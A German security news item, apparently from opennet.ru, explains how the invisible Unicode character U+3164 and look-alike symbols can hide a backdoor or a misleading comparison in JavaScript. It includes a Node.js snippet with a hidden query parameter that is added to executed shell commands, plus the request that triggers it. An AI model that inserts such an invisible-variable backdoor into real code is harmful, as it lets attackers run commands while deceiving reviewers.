Nach der Trojan Source-Angriffsmetode, die auf der Anwendung von Unicode-Zeichen basiert, die die Anzeige von bidirektionalem Text ändern, wird eine weitere Technik zur Einführung versteckter Aktionen vorgestellt, die im JavaScript-Code anwendbar ist. Die neue Methode stützt sich auf das Unicode-Zeichen „ㅤ“ (Code 0x3164, „HANGUL FILLER“), das zu den Buchstaben gehört, aber keinen sichtbaren Inhalt hat. Die Unicode-Kategorie, in die dieses Zeichen fällt, ist seit der ECMAScript 2015-Spezifikation für die Verwendung in JavaScript-Variablennamen zugelassen, was es ermöglicht, unsichtbare Variablen oder neue Variablen zu erstellen, die in gängigen Code-Editoren wie Notepad++ und VS Code von anderen Variablen nicht zu unterscheiden sind.
Als Beispiel wird ein Code für die Plattform Node.js vorgestellt, in dem durch eine Variable, die aus einem einzelnen Zeichen „ㅤ“ besteht, ein Backdoor verborgen ist, das es ermöglicht, den vom Angreifer angegebenen Code auszuführen: app.get(‘/network_health’, async (req, res) => { const { timeout,ㅤ} = req.query; // tatsächlich steht hier „const { timeout,ㅤ \u3164}“ const checkCommands = [ ‘ping -c 1 google.com’, ‘curl -s http://example.com/’,ㅤ // nach dem Komma folgt das Zeichen \u3164 ];
Auf den ersten Blick wird über den externen Parameter nur der Wert des Timeouts übergeben, und das Array mit den ausgeführten Befehlen enthält eine harmlose feste Liste. In Wirklichkeit wird jedoch nach der Timeout-Variablen der Wert einer weiteren unsichtbaren Variablen mit dem Zeichencode \u3164 zugewiesen, die ebenfalls im Array der ausführbaren Befehle eingefügt ist. Daher kann ein Angreifer bei Vorliegen einer solchen Konstruktion zur Aktivierung der Hintertür und Ausführung seines Codes eine Anfrage wie „https://host:8080/network_health?=команда“ senden.
Ein weiteres Beispiel ist das Zeichen „ǃ“ (ALVEOLAR CLICK), das verwendet werden kann, um die Sichtbarkeit eines Ausrufezeichens zu schaffen. Zum Beispiel wird der Ausdruck „if(environmentǃ=ENV_PROD){“ in Node.js 14 immer wahr sein, da hier kein Vergleich angestellt wird, sondern der Variable „environmentǃ“ der Wert ENV_PROD zugewiesen wird. Zu den irreführenden Unicode-Zeichen gehören auch „/“, „−“, „+“, „⩵“, „❨“, „⫽“, „꓿“ und „∗“.
Quelle: opennet.ru
